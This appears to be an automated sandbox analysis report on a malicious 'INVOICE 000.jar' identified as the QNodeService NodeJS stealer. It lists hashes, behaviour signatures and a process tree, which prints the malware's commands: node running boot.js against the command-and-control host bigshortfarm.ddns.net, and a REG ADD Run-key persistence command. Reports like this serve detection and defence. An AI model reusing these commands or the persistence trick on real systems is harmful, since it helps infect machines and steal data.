Analysis
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max time kernel
35s -
max time network
124s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
13-10-2020 10:41
Static task
static1
Behavioral task
behavioral1
Sample
INVOICE 000.jar
Resource
win7v200722
Behavioral task
behavioral2
Sample
INVOICE 000.jar
Resource
win10v200722
General
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Target
INVOICE 000.jar
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Size
196KB
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MD5
0829f6bcb6b2d0857e551008522d9db8
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SHA1
c6f12d5cbfd8222b551a844cb364a369c0faf744
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SHA256
6277e9e9e13f3ca2cc2f66feaf957a052bdc851e40aa5bdd9c934ef452ee0546
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SHA512
169e605f7968b2561a6180d103e476be7b185047ba971f20f74e8cbfcdd2674bccf8962ba9e8b30e76fe996bf2da4e276179e842250c727142875cd0510715a2
Malware Config
Signatures
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QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
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Executes dropped EXE 3 IoCs
Processes:
node.exenode.exenode.exepid Process 3344 node.exe 3656 node.exe 3148 node.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc Process Key created \REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000\Software\Microsoft\Windows\CurrentVersion\Run\c53333df-67fe-4af2-b23b-d653b4a51084 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\"" reg.exe -
JavaScript code in executable 3 IoCs
Processes:
resource yara_rule behavioral2/files/0x000100000001ad8c-165.dat js behavioral2/files/0x000100000001ad8c-168.dat js behavioral2/files/0x000100000001ad8c-172.dat js -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 22 wtfismyip.com 23 wtfismyip.com -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
node.exedescription ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe -
Suspicious behavior: EnumeratesProcesses 18 IoCs
Processes:
node.exenode.exenode.exepid Process 3344 node.exe 3344 node.exe 3344 node.exe 3344 node.exe 3656 node.exe 3656 node.exe 3656 node.exe 3656 node.exe 3148 node.exe 3148 node.exe 3148 node.exe 3148 node.exe 3148 node.exe 3148 node.exe 3148 node.exe 3148 node.exe 3148 node.exe 3148 node.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
java.exejavaw.exenode.exenode.exenode.execmd.exedescription pid Process procid_target PID 352 wrote to memory of 2896 352 java.exe 74 PID 352 wrote to memory of 2896 352 java.exe 74 PID 2896 wrote to memory of 3344 2896 javaw.exe 78 PID 2896 wrote to memory of 3344 2896 javaw.exe 78 PID 3344 wrote to memory of 3656 3344 node.exe 80 PID 3344 wrote to memory of 3656 3344 node.exe 80 PID 3656 wrote to memory of 3148 3656 node.exe 81 PID 3656 wrote to memory of 3148 3656 node.exe 81 PID 3148 wrote to memory of 2468 3148 node.exe 83 PID 3148 wrote to memory of 2468 3148 node.exe 83 PID 2468 wrote to memory of 500 2468 cmd.exe 84 PID 2468 wrote to memory of 500 2468 cmd.exe 84
Processes
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C:\ProgramData\Oracle\Java\javapath\java.exejava -jar "C:\Users\Admin\AppData\Local\Temp\INVOICE 000.jar"1⤵
- Suspicious use of WriteProcessMemory
PID:352 -
C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe"C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\414ddb2c.tmp2⤵
- Suspicious use of WriteProcessMemory
PID:2896 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain bigshortfarm.ddns.net3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3344 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_grppS3\boot.js --hub-domain bigshortfarm.ddns.net4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3656 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_grppS3\boot.js --hub-domain bigshortfarm.ddns.net5⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3148 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "c53333df-67fe-4af2-b23b-d653b4a51084" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""6⤵
- Suspicious use of WriteProcessMemory
PID:2468 -
C:\Windows\system32\reg.exeREG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "c53333df-67fe-4af2-b23b-d653b4a51084" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""7⤵
- Adds Run key to start application
PID:500
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
05f7d69d791b6e4ace284551768a2f47
SHA1f3ce1ec90363617021133c0775bb7fb0ccd1db36
SHA25621463b43661e5eddc95db5c142b0256ad30550dd09be51f2648908c112f53bc9
SHA512db7861cb732c85880f5cf62cdbaf1bd8b9932322d8f94443db250056d2c7c384988590bee2afecce33e461077c85bbc0bab540d5ef22aad76a68fdc9370657ab
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MD5
0829f6bcb6b2d0857e551008522d9db8
SHA1c6f12d5cbfd8222b551a844cb364a369c0faf744
SHA2566277e9e9e13f3ca2cc2f66feaf957a052bdc851e40aa5bdd9c934ef452ee0546
SHA512169e605f7968b2561a6180d103e476be7b185047ba971f20f74e8cbfcdd2674bccf8962ba9e8b30e76fe996bf2da4e276179e842250c727142875cd0510715a2
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MD5
c686d5fcf94d07f7cee70109eba9c4d3
SHA1588eee04fdbf1fa372c8389c66d581e0b37afd7e
SHA256e7e4897c0bbcd7e2931011f7839a0ebe920dc14e116fb898fc5e318827dc425d
SHA5125af3b52daafe41bf891dcd846c3b8c15c04d1da2cdb28c915cf970f2fbe3d7bba6b6fc7c291a431a2d0a437f159322401eb8aa567a146763d665ca76677853a3
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MD5
f0b11a5823c45fc2664e116dc0323bcb
SHA1612339040c1f927ec62186cd5012f4bb9c53c1b9
SHA25616fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99
SHA5120e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac
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MD5
f0b11a5823c45fc2664e116dc0323bcb
SHA1612339040c1f927ec62186cd5012f4bb9c53c1b9
SHA25616fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99
SHA5120e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac
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MD5
f0b11a5823c45fc2664e116dc0323bcb
SHA1612339040c1f927ec62186cd5012f4bb9c53c1b9
SHA25616fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99
SHA5120e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac